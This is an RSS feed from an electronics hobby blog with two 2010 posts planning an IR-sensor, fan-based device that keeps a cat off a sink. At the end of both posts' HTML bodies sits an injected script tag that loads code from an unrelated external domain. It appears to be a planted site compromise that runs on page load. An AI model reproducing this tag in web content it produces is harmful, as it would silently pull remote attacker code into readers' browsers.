<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Arduino Collective &#187; Cat Trainer</title>
	<atom:link href="http://arduinocollective.com/category/cat-trainer/feed/" rel="self" type="application/rss+xml" />
	<link>http://arduinocollective.com</link>
	<description>Electronics are fun!</description>
	<lastBuildDate>Fri, 29 Jan 2010 22:20:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Going with AVR, getting orders together</title>
		<link>http://arduinocollective.com/2010/01/29/going-with-avr-getting-orders-together/</link>
		<comments>http://arduinocollective.com/2010/01/29/going-with-avr-getting-orders-together/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 22:20:07 +0000</pubDate>
		<dc:creator>Nate Jones</dc:creator>
				<category><![CDATA[Cat Trainer]]></category>

		<guid isPermaLink="false">http://arduinocollective.com/?p=96</guid>
		<description><![CDATA[Today we decided to go down the raw AVR route.  Here&#8217;s a google doc to track the parts and where we will get them from. Cat Trainer Parts List Once it&#8217;s filled in, we&#8217;ll place some orders and then wait for our parts to come. And, just so there&#8217;s something nice to look at, here [...]]]></description>
			<content:encoded><![CDATA[<p>Today we decided to go down the raw AVR route.  Here&#8217;s a google doc to track the parts and where we will get them from.</p>
<p><a href="http://spreadsheets.google.com/pub?key=tf3DwL4a6WUkSaxvqTu3gNw&amp;output=html">Cat Trainer Parts List</a></p>
<p>Once it&#8217;s filled in, we&#8217;ll place some orders and then wait for our parts to come.</p>
<p>And, just so there&#8217;s something nice to look at, here is a picture of Dakota.</p>
<p><img src="http://farm4.static.flickr.com/3057/2507717944_0cc56bd5ab.jpg" alt="IMG_2382" width="500" height="375" /></p>
<p>That isn&#8217;t the sink we want to keep her away from, but you can see the problem.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://arduinocollective.com/2010/01/29/going-with-avr-getting-orders-together/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Planning to train a cat</title>
		<link>http://arduinocollective.com/2010/01/22/planning-to-train-a-cat/</link>
		<comments>http://arduinocollective.com/2010/01/22/planning-to-train-a-cat/#comments</comments>
		<pubDate>Fri, 22 Jan 2010 22:48:24 +0000</pubDate>
		<dc:creator>Nate Jones</dc:creator>
				<category><![CDATA[Cat Trainer]]></category>

		<guid isPermaLink="false">http://arduinocollective.com/?p=87</guid>
		<description><![CDATA[Nate&#8217;s got a small issue with his cat, Dakota. She has a habit of cruising up onto the sink every night after they head to bed. He&#8217;s attempting to resolve that issue without too much trauma on her part, by taking advantage of her aversion to wind. Here&#8217;s the idea: There are 2 problems to [...]]]></description>
			<content:encoded><![CDATA[<p>Nate&#8217;s got a small issue with his cat, Dakota. She has a habit of cruising up onto the sink every night after they head to bed. He&#8217;s attempting to resolve that issue without too much trauma on her part, by taking advantage of her aversion to wind.</p>
<p>Here&#8217;s the idea:</p>
<p><a href="http://arduinocollective.com/2010/01/22/planning-to-train-a-cat/cattrainer/" rel="attachment wp-att-89"><img src="http://arduinocollective.com/wp-content/uploads/2010/01/CatTrainer-300x272.png" alt="" title="CatTrainer" width="300" height="272" class="alignnone size-medium wp-image-89" /></a></p>
<p>There are 2 problems to solve:</p>
<p>1) Is there a cat on the counter?<br />
Well, we can use an infrared proximity sensor like <a href="http://www.oopic.com/gp2d12.htm">The GP2D12</a> to find out if something&#8217;s on the counter, near the sink, sure.</p>
<p>The subproblem is, is there a human utilizing the counter? We don&#8217;t want to scare (ourselves, family, friends) who innocently approach trying to wash a plate.</p>
<p>We detect this case by noticing an object further from the counter than the counter is wide, and if that&#8217;s identified, &#8220;disarming&#8221; until no object is detected.</p>
<p>2) How to remove the cat from the counter.<br />
Ideas here include an air jet, a flashing light, a sound of some kind.<br />
Our first stab at this is to use a CPU fan, with the airstream ducted down (yay cardboard) to get a thinner/faster flow, while also also strobing a super-bright LED behind the spinning fan to cause extra fright-power.</p>
<p>To power on the fan, since the &#8216;juice&#8217; provided by the Ardunio is not really enough for serious spinning, we can use a low-power solid state relay to switch on/off a separate 12V supply.</p>
<p>For assembling all the controls, we could use a blank protoshield PCB, if we go with the &#8220;full&#8221; Arduino (like a decimilanovae) ($6), along with the set of headers, ($2).<br />
Link: <a href="http://www.adafruit.com/index.php?main_page=product_info&#038;cPath=17&#038;products_id=55&#038;zenid=04f41a43ef4f29185daba907654f5cbe">Protoshield PCB</a></p>
<p>Since this is intended for a permanent install a new Arduino does need to be purchased; some of the SparkFun options (like the Pro Mini) might be nice but since they don&#8217;t have FTDI/USB chips, would need the extra $13 adaptor board to go with.</p>
<p>Taking a hard left in possible direction of this project is the idea of using a &#8220;raw&#8221; AVR chip instead of an Arduino. Since we&#8217;re not using really any of the sophisticated features (all we need are a few binary outputs and one analog input, after all) the Arduino really is overkill. And since you can get ATTiny&#8217;s for $1-$5 each, depending on how fancy you want to go, wow, we can make a lot of cool things for not a lot of money.</p>
<p>Here&#8217;s a good <a href="http://www.instructables.com/id/Ghetto-Development-Environment/step1/The-Kit/">guide to getting up and running</a> Lady Ada also has a <a href="http://www.ladyada.net/library/avrdevtut/index.html">helpful looking tutorial.</a></p>
<p>Required parts regardless of if we go Arduino or not:<br />
* IR Rangefinder module<br />
* solid state relay (no point using a mechanical relay for 0.15A @ 12VDC)<br />
* Resistor/LED (from parts box)<br />
* Fan and housing for the whole project (cardboard would work for prototyping)<br />
* Smaller prototyping board</p>
<p>If we go pure AVR:<br />
* voltage regulator to power the AVR (It needs 1.8-5.5VDC if we get <a href="http://mouser.com/ProductDetail/Atmel/ATtiny2313-20PU/">this one.</a>)<br />
* Programmer from LadyAda<br />
* 12V-ish Wall Wart (cut the plug off and solder into the board)<br />
* The programming cradle<br />
* A socket for whatever AVR we get for it&#8217;s permanent home</p>
<p>So this is very much a work in progress &#8212; we just wanted to get our initial brainstorming shared for our own use, and thought it&#8217;d be worth sharing with you as well.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://arduinocollective.com/2010/01/22/planning-to-train-a-cat/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
